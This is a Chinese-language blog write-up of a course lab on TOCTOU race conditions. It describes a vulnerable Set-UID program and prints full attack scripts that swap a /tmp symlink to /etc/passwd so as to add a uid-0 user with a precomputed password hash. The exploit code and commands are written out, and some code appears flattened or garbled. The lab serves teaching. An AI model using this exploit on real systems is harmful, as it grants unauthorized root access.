Race_Condition实验
//csdn博客目前暂时不再更新了,有兴趣请访问我的技术博客-晓的博客:zhangxiaolong.org
今天做了第二个实验,是条件竞争实验。首先呢,先思考以下两个问题:
1、linux下用open函数打开文件时,要是采用O_WRONLY模式为何容易产生竞争条件漏洞?换成O_WRONLY | O_CREAT | O_EXCL 模式后情况会如何?
解答:open函数用来打开一个设备,他返回的是一个整型变量,如果这个值等于-1,说明打开文件出现错误,如果为大于0的值, 参考格式>
int open(const char *pathname, int oflag, …/*, mode_t mode * / ) ;
打开的操作类型有如下几种
1) O_RDONLY 只读打开
2) O_WRONLY 只写打开
3) O_RDWR 读、写打开
采用O_WRONLY模式用open函数打开文件时,root总是可以创建文件,即便锁文件已经存在,这意味着该锁不能为root正常工作。换成O_WRONLY | O_CREAT | O_EXCL 模式后,就将权限设置为0,使同一用户的其他进程无法获得锁。
2、阅读一篇文章“从一个漏洞谈到ptrace的漏洞发现及利用方法”,地址为http://www.xfocus.net/articles/200304/503.html。描述其中的竞争条件漏洞出现的原因。
解答:代码是在内核线程exec_modprobe()的上下文运行的,程序的current指向这个内核线程的task_struct结构,而与创建这个线程时的current不同,那时候的current指向当时的当前进程,即exec_modprobe()的父进程。内核线程exec_modprobe()从其父进程继承了绝大部分资源和特性,包括它的fs_struct的内容和打开的所有文件,以及它的进程号、组号,还有所有的特权。但是这些特性在这个函数里大多被拚弃了(见源码的19行到42行,这里设置了该内核线程的信号、euid 、egid等,使之变成超级用户),不过在拚弃这些特性之前之前,我们的父进程,或同组进程是应该可以调试该内核线程的。漏洞也就在这里。
在学习完这两个问题之后,我们开始做这个实验。
1.竞争漏洞程序
下面的这个程序,表面上看起来似乎是完美的,但实际上它具有竞争漏洞。
//vulp.c #include <stdio.h>` #include <unistd.h> #include <string.h> #define DELAY 10000 int main() {char * fn = "/tmp/XYZ";char buffer[160];FILE *fp;long int i;//get user inputscanf("0s", buffer );if(!access(fn, W_OK)){//simulating delayfor (i=0; i < DELAY; i++){int a = i^2;}fp = fopen(fn, "a+");fwrite("\n", sizeof(char), 1, fp);fwrite(buffer, sizeof(char), strlen(buffer), fp);fclose(fp);}elseprintf("No permission \n"); }
分析:
这是一个Set-UID Root程序,它的目的是向临时文件/tmp/XYZ中追加一个字符串。既然这段程序是以root权限运行,那么它会仔细的核查真正的使用者是否具有写这 个文件的权限,这就是函数access()调用的目的,如果它核实了使用者确实有这个权限,那么它会允许用户向/tmp/XYZ中追加输入的数据。在核查权限(access)和打开文件(fopen)之间存在一段时间,那么就会 存在一种可能:核实的文件和打开的文件已经不是同一个文件了,虽然它们有相同的/tmp/XYZ符号链接。
2. 利用竞争漏洞
利用程序vulp.c中的竞争漏洞,其中一种是利用这种漏洞向/etc/passwd和/etc/shadow添加信息。这两个文件都是 unix系统向用户的授权文件,如果黑客能够向这两个文件中添加程序,那么它们就完全有能力创建新的使用者,包括系统管理员用户(通过令uid为0)
/etc/passwd文件是unix系统的授权数据库文件,它包含用户的基本属性。它是一个ascii码流文件,它的每一个行定义了一个用户的基本属性。
它的每一行的格式如下:
Username:password:uid:guid:gecos:homedir:shell
备注:Gecos:用来存储用户的一些杂项信息,比如用户的全名,办公室地址,办公电话和家庭电话,也可以是一个简短的文本信息。存储在这个字段中的数据时以逗号分隔的,用于用cgfn(change finger for short )命令修改这个字段。
具体的例子:
Andrew:x:1000:1000:Andrew Hudson,17,0123455,124244455:/home/Andrew:/bin/bash
注意所有的passwd字段都不会直接显示口令,而只是显示一个x,这些口令都会加密之后存放在/etc/shadow中。这主要是为了增加Unix的安全性考虑,如果不考虑安全性的话,完全可以把加密之后的密码放在/etc/passwd中的passwd字段中。
在实验中,我在/etc/passwd中加入了一下一行:
tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash 来获取root权限。
其中ttXydORJt50wQ是test的加密之后的密文。
可以运行perl脚本:
perl –e ‘print crypt(“test”,“tt”).“\n”’
来获取加密之后的密文ttXydORJt50wQ
我的目标就是在普通用户权限下攻击vulp.c的竞争漏洞,成功之后在/etc/passwd文件中追加一行:
tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash
注意:
追加tom用户的uid和uid均为0,所以我建立的tom目录获取到了root权限.因为我直接把tom的密码test的密文直接写在/etc/passwd的passwd字段中,所以我就没有必要再去修改/etc/shadow文件了。
攻击步骤:
第一步:建立符合连接
可以利用“ln -s”命令手动建立符号链接,也可以用C函数symlink在程序中建立符合链接。既然Linux不允许我们在旧链接已经存在的情况下建立链接,我们首先要删除旧的链接。
下面的C代码简单的指明了如何删除一个链接,然后使得/tmp/XYZ指向/etc/passwd:
unlink(“/tmp/XYZ”);
symlink(“/etc/passwd”, “/tmp/XYZ”);
竞争漏洞攻击的最重要的步骤是在核实和打开文件的时间间隔内,让符号链接指向我们设定的目标文件,即在vulp.c的access和fopen之间让/tmp/XYZ指向/etc/passwd.
第二步:运行攻击脚本
攻击脚本attack.sh如下:
#!/bin/sh race() {old=`ls -l /etc/passwd`new=`ls -l /etc/passwd` # when we modify the passwd successfully, the attack stopswhile [ "$old" = "$new" ]do # because when the synlink already exists, we can't modify the symlink, # so before change the symlink, we should rm the old one rm -f /tmp/XYZ>/tmp/XYZln -sf /etc/passwd /tmp/XYZnew=`ls -l /etc/passwd` # echo $new # echo $olddone } race echo "Stop...The passwd has been changed!" RACE_PID=$! kill $RACE_PID
调用vulp程序的run,sh脚本:
#/bin/sh race() {while truedo./vulp <attack_inputdone } race RACE_PID=$! kill $RACE_PID
第三步:attack_input文件中存放的是:tom:ttXydORJt50wQ:0:0:,,,:/home:/bin/bash,循环攻击vulp程序的目的是向/etc/passwd写入attack_input文件的数据,使新增的tom用户具有root权限。
3.实验结果截图
如图一所示:在zxl文件夹中,一共建立5个文件,分别为:攻击脚本attack.sh,攻击脚本替换输入attack_input,检查攻击是否成功的脚本check.sh,运行追加字符串的程序run.sh ,追加字符串传的程序vulp,且有s权限。其他程序都必须为可执行的文件,用sudo chmod +x /文件名 操作进行修改。
图 1
如图2所示,运行Run.sh脚本。它会一直循环运行程序vulp。
图 2
如图3所示,运行攻击脚本attack.sh。如果成功会显示如下提示,说明有内容写入到passwd文件中。
图 3
如图4所示,在/etc/passwd文件中可以看到,有tom用户写入,并且具有管理员的权限。
图4
Race_Condition实验相关推荐
- 漏洞挖掘——实验3 Race_Condition
漏洞挖掘前言 题目 lab Race_Condition pre 1.查看这段代码的执行结果,解释%.20d和%hn的含义. main() {int num=0x41414141;printf(&qu ...
- 合肥工业大学—SQL Server数据库实验四:数据库的分离和附加
数据库的分离和附加 1. 数据库分离 2. 数据库附加 1. 数据库分离 当SQL Server服务器运行时,该服务器上所有的数据库自动处于运行状态,而运行中的数据库文件是无法进行数据库文件的拷贝的. ...
- 解读模拟摇杆原理及实验
解读模拟摇杆原理及实验 Interpreting Analog Sticks 当游戏支持控制器时,玩家可能会一直使用模拟摇杆.在整个体验过程中,钉住输入处理可能会对质量产生重大影响.让来看一些核心概念 ...
- legend位置 pyecharts_实验|pyecharts数据可视化分析-1
1. 实验介绍 本实验主要介绍pyecharts基本特点与属性. 1.1. 实验目的 了解pyecharts功能.特点.与安装方式. 1.2. 知识点 pyecharts特点 pyecharts图表 ...
- 2019春第二次课程设计实验报告
2019春第二次课程设计实验报告 一.实验项目名称: 贪吃蛇游戏编写: 二.实验项目功能描述: 这个实验主要是实现游戏的正常运行,实现的目标是对小蛇移动的控制, 同时对小蛇数据的保存,如何实现转弯的效 ...
- 汇编语言程序设计 实验九
实验内容 实验一: 补全程序t1.asm,完成在屏幕上输出内存单元中的十进制两位数 ; 在屏幕上输出内存单元中的十进制两位数 assume cs:code, ds:data data segmentd ...
- 20172324 2018-2019-1《程序设计与数据结构》实验2报告
20172324 2018-2019-1<程序设计与数据结构>实验2报告 课程:<程序设计与数据结构> 班级: 1723 姓名: 曾程 学号:20172324 实验教师:王志强 ...
- JAVA第二次验证设计性实验报告
[实验任务一]:素数输出 (3)实验报告中要求包括程序设计思想.程序流程图.源代码.运行结果截图.编译错误分析等内容. 1. 实验内容 (1)计算并输出3~100之间的素数. (2)编程满足下列要 ...
- 20172329 2017-2018-2 《程序设计与数据结构》实验五报告
这是这学期最后一次实验了,也是学到了很多东西,希望自己可以可以善始善终,加油! 让我们开始这一篇博客吧! 20172329 2017-2018-2 <程序设计与数据结构>实验五报告 课程: ...
最新文章
- 如何在Linux上从命令行嗅探HTTP流量
- 计算机学院的运动会介绍,敢于拼搏 超越自我 --计算机学院校运动会动员大会召开...
- 001 从人物血量学习数据查找
- 机器学习案例:scikit-learn实现ebay数据分析
- Detectron:Pytorch-Caffe2-Detectron的一些跟进
- Eclipse Validating减少不必要的验证
- vm服务器虚拟化如何漂移,解决虚拟机漂移问题的自动化网络管理
- 0.IT-解决方案-0-VOIP
- CYQ.Data.Orm.DBFast 新增类介绍(含类的源码及新版本配置工具源码)
- linux中删除文件名称乱码
- EXTjs+SpringMVC+Mybatis实现照片的上传,下载,查看关键技术整理
- oracle高性能分页,Oracle中高性能分页包
- 10KV高压电缆的直流耐压究竟是多少?
- wps在线预览接口_Office在线预览及PDF在线预览的实现方式大集合
- buguku 加密 wp
- 每天学命令deleteRow
- 【XSY2689】王子 - 网络流
- http proxy 代理
- 爬虫技术 -- 进阶学习(十)网易新闻页面信息抓取(htmlagilitypack搭配scrapysharp)...
- 天空卫士客户案例 | 网易数据安全篇